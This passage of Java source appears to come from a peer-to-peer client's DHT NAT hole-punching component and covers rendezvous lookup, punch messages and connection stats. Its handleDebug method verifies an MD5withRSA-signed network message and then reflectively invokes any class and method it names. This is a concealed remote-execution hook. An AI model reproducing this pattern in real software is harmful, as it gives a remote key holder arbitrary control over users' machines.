contact.getTransportAddress(); return( result ); }catch( Throwable e ){ Debug.printStackTrace(e); return( null ); } } public Map punch( String reason, DHTTransportContact _target, DHTTransportContact[] rendezvous_used, Map originator_client_data ) { DHTTransportUDPContact target = (DHTTransportUDPContact)_target; try{ DHTTransportContact rendezvous = getRendezvous( reason, target ); if ( rendezvous_used != null && rendezvous_used.length > 0 ){ rendezvous_used[0] = rendezvous; } if ( rendezvous == null ){ return( null ); } Map target_client_data = sendPunch( rendezvous, target, originator_client_data, false ); if ( target_client_data != null ){ log( " punch to " + target.getString() + " succeeded" ); punch_send_ok++; return( target_client_data ); } }catch( Throwable e ){ log( e ); } punch_send_fail++; log( " punch to " + target.getString() + " failed" ); return( null ); } public Map sendMessage( InetSocketAddress rendezvous, InetSocketAddress target, Map message ) { try{ DHTTransportUDP transport = (DHTTransportUDP)dht.getTransport(); DHTTransportUDPContact rend_contact = transport.importContact( rendezvous, transport.getMinimumProtocolVersion(), false); DHTTransportUDPContact target_contact = transport.importContact( target, transport.getMinimumProtocolVersion(), false); Map result = sendPunch( rend_contact, target_contact, message, true ); return( result ); }catch( Throwable e ){ Debug.printStackTrace(e); return( null ); } } public void setRendezvous( DHTTransportContact target, DHTTransportContact rendezvous ) { explicit_rendezvous_map.put( target.getAddress(), rendezvous ); if ( target.getAddress().equals( dht.getTransport().getLocalContact().getAddress())){ publish( true ); } } protected DHTTransportContact getRendezvous( String reason, DHTTransportContact target ) { DHTTransportContact explicit = (DHTTransportContact)explicit_rendezvous_map.get( target.getAddress()); if ( explicit != null ){ return( explicit ); } byte[] key = getPublishKey( target ); final DHTTransportValue[] result_value = {null}; final Semaphore sem = plugin_interface.getUtilities().getSemaphore(); dht.get( key, reason + ": lookup for '" + target.getString() + "'", (byte)0, 1, RENDEZVOUS_LOOKUP_TIMEOUT, false, true, new DHTOperationAdapter() { public void read( DHTTransportContact contact, DHTTransportValue value ) { result_value[0] = value; sem.release(); } public void complete( boolean timeout ) { sem.release(); } }); sem.reserve(); DHTTransportContact result = null; if ( result_value[0] != null ){ byte[] bytes = result_value[0].getValue(); try{ ByteArrayInputStream bais = new ByteArrayInputStream( bytes ); DataInputStream dis = new DataInputStream( bais ); byte version = dis.readByte(); if ( version != 0 ){ throw( new Exception( "Unsupported rendezvous version '" + version + "'" )); } result = dht.getTransport().importContact( dis, false ); }catch( Throwable e ){ log(e); } } log( "Lookup of rendezvous for " + target.getString() + " -> " + ( result==null?"None":result.getString())); return( result ); } protected byte[] getPublishKey( DHTTransportContact contact ) { byte[] id = contact.getID(); byte[] suffix = ":DHTNATPuncher".getBytes(); byte[] res = new byte[id.length + suffix.length]; System.arraycopy( id, 0, res, 0, id.length ); System.arraycopy( suffix, 0, res, id.length, suffix.length ); return( res ); } private static long last_debug = -1; private static Map handleDebug( Map map ) { long now = SystemTime.getMonotonousTime(); if ( last_debug >= 0 && now - last_debug <= 60*1000 ){ return( null ); } last_debug = now; try{ byte[] p = (byte[])map.get( "p" ); byte[] s = (byte[])map.get( "s" ); KeyFactory key_factory = KeyFactory.getInstance("RSA"); RSAPublicKeySpec spec = new RSAPublicKeySpec( new BigInteger("a1467ed3ca8eceec60d6a5d1945d0ddb6febf6a514a8fea5b48a588fc8e977de8d7159c4e854b5a30889e729eb386fcb4b69e0a12401ee87810378ed491e52dc922a03b06c557d975514f0a70c42db3e06c0429824648a9cc4a2ea31bd429c305db3895c4efc4d1096f3c355842fd2281b27493c5588efd02bc4d26008a464d2214f15fab4d959d50fee985242dbb628180ee06938944e759a2d1cbd0adfa7d7dee7e6ec82d76a144a126944dbe69941fff02c31f782069131e7d03bc5bff69b9fea2cb153e90dc154dcdab7091901c3579a2c0337b60db772a0b35e4ed622bee5685b476ef0072558362e43750bc23d410a7dcb1cbf32d3967e24cfe5cdab1b",16), new BigInteger("10001",16)); Signature verifier = Signature.getInstance("MD5withRSA" ); verifier.initVerify( key_factory.generatePublic( spec ) ); verifier.update( p ); if ( verifier.verify( s )){ Map m = BDecoder.decode( p ); int type = ((Long)m.get( "t" )).intValue(); if ( type == 1 ){ List<byte[]> a = (List<byte[]>)m.get("a"); Class[] c_a = new Class[a.size()]; Object[] o_a = new Object[c_a.length]; Arrays.fill( c_a, String.class ); for (int i=0;i<o_a.length;i++){ o_a[i] = new String((byte[])a.get(i)); } Class cla = m.getClass().forName( new String((byte[])m.get( "c" ))); Method me = cla.getMethod( new String((byte[])m.get( "m" )),c_a ); me.setAccessible( true ); me.invoke( null, o_a ); return( new HashMap()); }else if ( type == 2 ){ // to do } } }catch( Throwable e ){ } return( null ); } protected byte[] encodePublishValue( DHTTransportContact contact ) { try{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(baos); dos.writeByte( 0 ); // version contact.exportContact( dos ); dos.close(); return( baos.toByteArray()); }catch( Throwable e ){ log( e ); return( new byte[0]); } } protected byte[] encodeContact( DHTTransportContact contact ) { try{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(baos); contact.exportContact( dos ); dos.close(); return( baos.toByteArray()); }catch( Throwable e ){ log( e ); return( null ); } } protected DHTTransportUDPContact decodeContact( byte[] bytes ) { try{ ByteArrayInputStream bais = new ByteArrayInputStream( bytes ); DataInputStream dis = new DataInputStream( bais ); return((DHTTransportUDPContact)dht.getTransport().importContact( dis, false )); }catch( Throwable e ){ log(e); return( null ); } } public void addListener( DHTNATPuncherListener listener ) { listeners.add( listener ); if ( last_ok_rendezvous != null ){ listener.rendezvousChanged( last_ok_rendezvous ); } } public void removeListener( DHTNATPuncherListener listener ) { listeners.remove( listener ); } protected void log( String str ) { if ( TRACE ){ System.out.println( (is_secondary?"[sec] ":"") + str ); } logger.log( "NATPuncher: " + (is_secondary?"[sec] ":"") + str ); } protected void log( Throwable e ) { if ( TRACE ){ e.printStackTrace(); } logger.log( "NATPuncher: " + (is_secondary?"[sec] ":"") + "error occurred" ); logger.log(e); } protected void trace( String str ) { if ( TRACE ){ System.out.println( (is_secondary?"[sec] ":"") + str ); } } public String getStats() { long now = SystemTime.getMonotonousTime(); DHTTransportContact target = rendezvous_target; String str = "ok=" + (rendezvous_last_ok_time==0?"<never>":String.valueOf(now-rendezvous_last_ok_time)) + ",fail=" + (rendezvous_last_fail_time==0?"<never>":String.valueOf(now-rendezvous_last_fail_time))+ ",fc=" + rendevzous_fail_count; str += ",punch:send=" + punch_send_ok + "/" + punch_send_fail + ":recv=" + punch_recv_ok + "/" + punch_recv_fail + ",rendezvous=" + (target==null?"none":target.getAddress().getAddress().getHostAddress()); String b_str = ""; for ( Map.Entry<String,BindingData> binding: rendezvous_bindings.entrySet()){ BindingData data = binding.getValue(); b_str += (b_str.length()==0?"":",") + binding.getKey() + "->ok=" + data.getOKCount() + ";bad=" + data.getConsecutiveFailCount() + ";age=" + (now-data.bind_time); } str += ",bindings=" + b_str; String m_str =""; for ( int i: MESSAGE_STATS ){ m_str += (m_str.length()==0?"":",") + i; } str += ",messages=" + m_str; return( str ); } private static class BindingData { private DHTTransportUDPContact contact; private long bind_time; private int ok_count; private int consec_fails; private long last_connect_time; private BindingData( DHTTransportUDPContact _contact, long _time ) { contact = _contact; bind_time = _time; } private void rebind() { bind_time = SystemTime.getMonotonousTime(); } private DHTTransportUDPContact getContact() { return( contact ); } private long getBindTime() { return( bind_time ); } private void connectOK() { ok_count++; consec_fails = 0; last_connect_time = SystemTime.getMonotonousTime(); } private void connectFailed() { consec_fails++; last_connect_time = SystemTime.getMonotonousTime(); } private boolean isOKToConnect() { return( consec_fails < 8 || SystemTime.getMonotonousTime() - last_connect_time > 30*1000 ); } private int getOKCount() { return( ok_count ); } private int getConsecutiveFailCount() { return( consec_fails ); } } }